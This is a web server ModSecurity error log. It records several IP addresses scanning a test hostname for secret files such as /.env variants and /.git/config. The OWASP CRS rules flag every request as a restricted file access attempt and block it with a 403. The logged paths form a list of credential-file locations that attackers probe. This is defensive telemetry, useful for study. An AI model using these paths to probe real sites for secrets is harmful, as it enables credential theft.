[Sun Jan 12 03:52:01.415501 2025] [:error] [pid 416184] [client 109.205.213.58:50720] [client 109.205.213.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z4MuUSrMBb5jmSOFZpL5GQAAAAA&quot;]
[Sun Jan 12 03:52:01.863281 2025] [:error] [pid 416207] [client 109.205.213.58:50722] [client 109.205.213.58] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z4MuUXTQenmWZbzeIZp7GgAAAAU&quot;]
[Sun Jan 12 03:52:01.863923 2025] [:error] [pid 416207] [client 109.205.213.58:50722] [client 109.205.213.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z4MuUXTQenmWZbzeIZp7GgAAAAU&quot;]
[Sun Jan 12 03:52:01.864509 2025] [:error] [pid 416207] [client 109.205.213.58:50722] [client 109.205.213.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/api/.env&quot;] [unique_id &quot;Z4MuUXTQenmWZbzeIZp7GgAAAAU&quot;]
[Sun Jan 12 03:52:03.278597 2025] [:error] [pid 416187] [client 109.205.213.58:50758] [client 109.205.213.58] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.save&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z4MuU_eUzzDyvBXMr_lI3gAAAAM&quot;]
[Sun Jan 12 03:52:03.278982 2025] [:error] [pid 416187] [client 109.205.213.58:50758] [client 109.205.213.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z4MuU_eUzzDyvBXMr_lI3gAAAAM&quot;]
[Sun Jan 12 03:52:03.279224 2025] [:error] [pid 416187] [client 109.205.213.58:50758] [client 109.205.213.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.save&quot;] [unique_id &quot;Z4MuU_eUzzDyvBXMr_lI3gAAAAM&quot;]
[Sun Jan 12 03:52:03.720267 2025] [:error] [pid 416188] [client 109.205.213.58:50760] [client 109.205.213.58] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.prod&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;Z4MuU9oFLczISO4zxoBv6AAAAAQ&quot;]
[Sun Jan 12 03:52:03.720890 2025] [:error] [pid 416188] [client 109.205.213.58:50760] [client 109.205.213.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;Z4MuU9oFLczISO4zxoBv6AAAAAQ&quot;]
[Sun Jan 12 03:52:03.721363 2025] [:error] [pid 416188] [client 109.205.213.58:50760] [client 109.205.213.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.prod&quot;] [unique_id &quot;Z4MuU9oFLczISO4zxoBv6AAAAAQ&quot;]
[Sun Jan 12 03:52:04.048423 2025] [:error] [pid 416185] [client 109.205.213.58:50762] [client 109.205.213.58] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /login/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;Z4MuVJuxCxtSO2ix-aIAOAAAAAE&quot;]
[Sun Jan 12 03:52:04.049067 2025] [:error] [pid 416185] [client 109.205.213.58:50762] [client 109.205.213.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;Z4MuVJuxCxtSO2ix-aIAOAAAAAE&quot;]
[Sun Jan 12 03:52:04.049526 2025] [:error] [pid 416185] [client 109.205.213.58:50762] [client 109.205.213.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/login/.env&quot;] [unique_id &quot;Z4MuVJuxCxtSO2ix-aIAOAAAAAE&quot;]
[Sun Jan 12 03:52:04.378770 2025] [:error] [pid 416184] [client 109.205.213.58:50764] [client 109.205.213.58] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /local/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z4MuVCrMBb5jmSOFZpL5GgAAAAA&quot;]
[Sun Jan 12 03:52:04.379358 2025] [:error] [pid 416184] [client 109.205.213.58:50764] [client 109.205.213.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z4MuVCrMBb5jmSOFZpL5GgAAAAA&quot;]
[Sun Jan 12 03:52:04.379792 2025] [:error] [pid 416184] [client 109.205.213.58:50764] [client 109.205.213.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/local/.env&quot;] [unique_id &quot;Z4MuVCrMBb5jmSOFZpL5GgAAAAA&quot;]
[Sun Jan 12 03:52:04.815924 2025] [:error] [pid 416207] [client 109.205.213.58:50780] [client 109.205.213.58] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /admin/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z4MuVHTQenmWZbzeIZp7GwAAAAU&quot;]
[Sun Jan 12 03:52:04.816535 2025] [:error] [pid 416207] [client 109.205.213.58:50780] [client 109.205.213.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z4MuVHTQenmWZbzeIZp7GwAAAAU&quot;]
[Sun Jan 12 03:52:04.816998 2025] [:error] [pid 416207] [client 109.205.213.58:50780] [client 109.205.213.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/admin/.env&quot;] [unique_id &quot;Z4MuVHTQenmWZbzeIZp7GwAAAAU&quot;]
[Sun Jan 12 03:52:05.155409 2025] [:error] [pid 416186] [client 109.205.213.58:50786] [client 109.205.213.58] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /dev/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z4MuVSRxjhQv01_So6u3CwAAAAI&quot;]
[Sun Jan 12 03:52:05.155983 2025] [:error] [pid 416186] [client 109.205.213.58:50786] [client 109.205.213.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z4MuVSRxjhQv01_So6u3CwAAAAI&quot;]
[Sun Jan 12 03:52:05.156485 2025] [:error] [pid 416186] [client 109.205.213.58:50786] [client 109.205.213.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/dev/.env&quot;] [unique_id &quot;Z4MuVSRxjhQv01_So6u3CwAAAAI&quot;]
[Sun Jan 12 03:52:05.489042 2025] [:error] [pid 416210] [client 109.205.213.58:50792] [client 109.205.213.58] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /application/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z4MuVfPAiWHeVRqEb61gMwAAAAY&quot;]
[Sun Jan 12 03:52:05.489729 2025] [:error] [pid 416210] [client 109.205.213.58:50792] [client 109.205.213.58] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z4MuVfPAiWHeVRqEb61gMwAAAAY&quot;]
[Sun Jan 12 03:52:05.490290 2025] [:error] [pid 416210] [client 109.205.213.58:50792] [client 109.205.213.58] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/application/.env&quot;] [unique_id &quot;Z4MuVfPAiWHeVRqEb61gMwAAAAY&quot;]
[Sun Jan 12 22:13:00.943504 2025] [:error] [pid 416185] [client 45.148.10.172:41110] [client 45.148.10.172] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z4QwXJuxCxtSO2ix-aIAoQAAAAE&quot;]
[Sun Jan 12 22:13:00.949381 2025] [:error] [pid 416185] [client 45.148.10.172:41110] [client 45.148.10.172] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z4QwXJuxCxtSO2ix-aIAoQAAAAE&quot;]
[Sun Jan 12 22:13:00.949664 2025] [:error] [pid 416185] [client 45.148.10.172:41110] [client 45.148.10.172] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;Z4QwXJuxCxtSO2ix-aIAoQAAAAE&quot;]
[Wed Jan 15 18:43:04.664049 2025] [:error] [pid 486747] [client 35.77.33.14:42496] [client 35.77.33.14] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z4fzqDU0JVKWBLdbK-asOwAAAAA&quot;]
[Wed Jan 15 18:43:04.665996 2025] [:error] [pid 486747] [client 35.77.33.14:42496] [client 35.77.33.14] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z4fzqDU0JVKWBLdbK-asOwAAAAA&quot;]
[Wed Jan 15 18:43:04.666649 2025] [:error] [pid 486747] [client 35.77.33.14:42496] [client 35.77.33.14] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z4fzqDU0JVKWBLdbK-asOwAAAAA&quot;]
[Wed Jan 15 20:40:02.646343 2025] [:error] [pid 489190] [client 103.102.230.8:58858] [client 103.102.230.8] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z4gPEvGQNR7qDEtyIGfFowAAAAE&quot;]
[Wed Jan 15 20:40:02.646902 2025] [:error] [pid 489190] [client 103.102.230.8:58858] [client 103.102.230.8] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;Z4gPEvGQNR7qDEtyIGfFowAAAAE&quot;]
